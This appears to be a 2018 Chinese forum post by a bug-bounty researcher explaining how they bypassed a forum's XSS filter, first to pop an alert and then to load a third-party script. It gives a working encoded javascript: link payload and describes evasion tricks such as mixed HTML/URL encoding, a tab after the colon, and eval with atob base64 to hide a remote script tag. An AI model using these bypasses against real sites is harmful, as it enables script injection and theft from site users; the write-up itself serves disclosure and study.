本帖最后由 TEag1e 于 2018-12-10 12:36 编辑
某站xss从弹窗到引入第三方JS文件
一次简单基础的Bypass。
0x00 前言
漏洞位于论坛发布文章出处,起初通过Bypass触发弹窗后,审核问我能否尝试引入第三方JS文件,因为那样的话危害评级不一样。
0x01弹窗
先上Payload:
<a href=j%26%2397vascrip%26%23116:%09alert`1`>xss
过滤规则:
1. 过滤了很多事件,由于没法发很多文章,所以无法爆破可用事件 => 暂不考虑使用事件
2. script标签过滤的死死的,PASS
此时只能考虑使用伪协议
3. java关键字跟script关键字,进行了监测,使用HTML编码后的URL编码进行绕过
4. 冒号(:)后面不能跟字母,测试发现可以使用%09绕过
0x02引入第三方文件
1. 考虑直接write一个script标签
进展顺利
但是添加SRC时发现被监测了,推测监测机制
2. 尝试HTML编码
尝试拆分src关键字,将c html编码+url编码,PASS,推测HTML编码多半是废了,应该是将HTML编码进行了解码再监测
但是发现,没有尖括号(<)时,可以使用src,此时混淆尖括号,进行html编码加url编码,PASS
推测真的是将HTML编码进行了解码再监测
3. 尝试JS编码
既然HTML编码不能使用了,那么考虑使用JS编码。
1. 使用JS十六进制
测试发现JS十六进制JS八进制均失败
PASS
2. 使用base64编码
想到之前在xss平台见到的PAYLOAD,使用eval加atob使用base64编码
使用<script/src=//xxxx.js>引入第三方文件
成功!
但是发现base64编码中的加号(+)被识别成了分隔符,擦 ==
这个简单,我在前面又加上协议之后便看到没有加号的阻碍了
|